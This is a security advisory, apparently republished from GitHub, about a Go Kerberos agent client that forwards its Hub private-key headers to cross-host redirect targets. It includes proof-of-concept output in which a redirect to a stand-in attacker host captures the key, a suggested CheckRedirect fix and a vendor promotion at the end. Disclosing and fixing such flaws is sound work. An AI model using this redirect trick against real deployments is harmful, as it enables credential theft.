Verbatim `kerberos_hub.go` from that tag. Captured stdout: ``` legit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1) attacker host (cross-origin) = http://attacker.example (-> 127.0.0.1) calling cloud.UploadKerberosHub then client.Do [INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example) [INFO] UploadKerberosHub: Upload started for clip.mp4 [legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example [attacker host attacker.example] received HEAD /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK) [legit host legit.example] received POST /storage/upload -> 302 to attacker.example [attacker host attacker.example] received GET /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload Finished, 200 OK. ----- RESULT ----- attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" attacker host saw X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target ----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) ----- attacker saw Authorization = "" (stdlib strips standard auth header cross-host) attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" (custom header NOT stripped -> the bug) ``` The negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded — confirming the leak is specific to the custom-named auth header. ### Suggested fix Set a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host: ```go checkRedirect := func(req *http.Request, via []*http.Request) error { if len(via) > 0 && req.URL.Host != via[0].URL.Host { req.Header.Del("X-Kerberos-Hub-PrivateKey") req.Header.Del("X-Kerberos-Hub-PublicKey") } return nil } client = &http.Client{CheckRedirect: checkRedirect} ``` A regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it. ### Fix PR A fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork. ### Credit Reported by tonghuaroot.
AI coding agents often install or upgrade packages automatically in go. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/kerberos-io/agent/machinerygo | <0.0.0-20260528173546-51f1a52e170f | 0.0.0-20260528173546-51f1a52e170f |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard